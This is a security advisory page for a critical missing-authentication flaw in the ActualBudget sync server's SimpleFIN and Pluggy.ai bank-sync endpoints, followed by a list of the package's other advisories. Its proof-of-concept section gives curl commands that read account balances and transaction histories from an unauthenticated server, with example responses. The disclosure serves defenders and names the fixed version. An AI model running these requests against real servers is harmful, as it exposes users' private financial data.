Critical

ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints

Disclosed: 24.02.2026
Updated: 11.10.2026 10:22

Summary

Missing authentication middleware in the ActualBudget server component allows any unauthenticated user to query the SimpleFIN and Pluggy.ai integration endpoints and read sensitive bank account balance and transaction information.

Impact

This vulnerability allows an unauthenticated attacker to read the bank account balance and transaction history of ActualBudget users. This vulnerability impacts all ActualBudget Server users with the SimpleFIN or Pluggy.ai integrations configured. The ActualBudget Server instance must be reachable over the network.

Details

The ActualBudget server component allows for integration with SimpleFIN and Pluggy.ai services. These services read bank account balances and transaction data from users' banks and return the data to ActualBudget. The affected endpoints facilitate this integration and are intended to be used only by logged in users for the purposes of syncing bank transaction data.

The vulnerable source code is in the following files in the actualbudget/actual GitHub repository (https://github.com/actualbudget/actual/):

/packages/sync-server/src/app-simplefin/app-simplefin.js
/packages/sync-server/src/app-pluggyai/app-pluggyai.js

The sensitive endpoints missing authentication are:

POST /simplefin/status
POST /simplefin/accounts
POST /simplefin/transactions
POST /pluggyai/status
POST /pluggyai/accounts
POST /pluggyai/transactions

The following source code is an example of an integration that implements the authentication middleware (packages/sync-server/src/app-gocardless/app-gocardless.js):

const app = express();
app.use(requestLoggerMiddleware);
...
app.use(express.json());
app.use(validateSessionMiddleware); // <-- Uses authentication

PoC

The below commands exploit this vulnerability on both the SimpleFIN and Pluggy.ai endpoints. No authentication is required. Network access is required.

SimpleFIN:

bash

# Check if SimpleFIN is configured
curl -X POST "https://<actualbudgethost>/simplefin/status"

# List SimpleFIN accounts
curl -X POST "https://<actualbudgethost>/simplefin/accounts"

# List SimpleFIN transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/simplefin/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

PluggyAI:

bash

# Check if PluggyAI is configured
curl -X POST "https://<actualbudgethost>/pluggyai/status"

# List Pluggy.ai accounts
curl -X POST "https://<actualbudgethost>/pluggyai/accounts"

# List Pluggy.ai transactions with an account ID from the previous request
curl -X POST "https://<actualbudgethost>/pluggyai/transactions" -H "Content-Type: application/json" -d '{"accountId":["ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"],"startDate":["2026-02-01"]}'

Example response from POST /simplefin/accounts:

{
    "status": "ok",
    "data": {
        "accounts": [
            {
                "id": "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
                "name": "CHEQUING ACCOUNT",
                "currency": "CAD",
                "balance": "1234.56",
                "available-balance": "0.00",
                "balance-date": 1771531758,
                "transactions": [],
                "holdings": [],
                "org": {
                    "domain": "www.cibc.com",
                    "name": "CIBC",
                    "sfin-url": "https://beta-bridge.simplefin.org/simplefin",
                    "url": "https://www.cibconline.cibc.com",
                    "id": "www.cibconline.cibc.com"
                }
            },
            ...
        ]
    }
}

Example response from POST /simplefin/transactions:

{
    "status": "ok",
    "data": {
        "ACT-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX": {
            "balances": [
                {
                    "balanceAmount": {
                        "amount": "1234.56",
                        "currency": "CAD"
                    },
                    "balanceType": "expected",
                    "referenceDate": "2026-02-19"
                },
                {
                    "balanceAmount": {
                        "amount": "1234.56",
                        "currency": "CAD"
                    },
                    "balanceType": "interimAvailable",
                    "referenceDate": "2026-02-19"
                }
            ],
            "startingBalance": 123456,
            "transactions": {
                "all": [
                    {
                        "booked": true,
                        "sortOrder": 1771502400,
                        "date": "2026-02-19",
                        "payeeName": "E-Transfer",
                        "notes": "SEND E-TFR ***ABC",
                        "transactionAmount": {
                            "amount": "-12.00",
                            "currency": "USD"
                        },
                        "transactionId": "TRN-XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX",
                        "transactedDate": "2026-02-19",
                        "postedDate": "2026-02-19"
                    },
                    ...
                ],
                "pending": []
            }
        }
    }
}

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	@actual-app/sync-server	< 26.2.1	26.2.1

References

CVSS score -

CVSS vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Weakness (CWE): CWE-306
Platform: npm
Package: @actual-app/sync-server
Disclosed: 24.02.2026
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-m2cq-xjgm-f668 - CC BY 4.0

Vulnerability history: @actual-app/sync-server

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 8
First → latest: 10.2025 10.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

Critical 1
High 3
Medium 4

Disclosures per year

2025: 1
2026: 7

07.10.2026

Actual Sync Server: CORS Proxy GitHub API Allowlist Prefix Bypass Leaks Private Repositories Through the Server GitHub Token

High CVE-2026-57449 < 26.7.0 26.7.0
22.06.2026

@actual-app/sync-server: Disabled OpenID users keep access through existing session tokens

High · 8.3 CVE-2026-49229 < 26.6.0 26.6.0
22.06.2026

@actual-app/sync-server's missing authorization on GET /secret/:name allows non-admin OpenID users to enumerate admin-configured bank-sync secrets

Medium · 4.3 CVE-2026-46700 < 26.6.0 26.6.0
23.04.2026

Actual has Privilege Escalation via 'change-password' Endpoint on OpenID-Migrated Servers

High · 8.8 CVE-2026-33318 < 26.4.0 26.4.0
10.03.2026

Actual Sync Server has an Authenticated Path Traversal

Medium CVE-2026-3089 < 26.3.0 26.3.0
27.02.2026

@actual-app/sync-server: Missing authorization in sync endpoints allows cross-user budget file access in multi-user mode

Medium CVE-2026-27638 < 26.2.1 26.2.1
24.02.2026

ActualBudget server is Missing Authentication for SimpleFIN and Pluggy AI bank sync endpoints this entry

Critical CVE-2026-27584 < 26.2.1 26.2.1
20.10.2025

Actual Sync-server Gocardless service is logging sensitive data including bearer tokens and account numbers

Medium · 4.2 ghsa-xvp7-8vm8-xfxx < 25.11.0 25.11.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application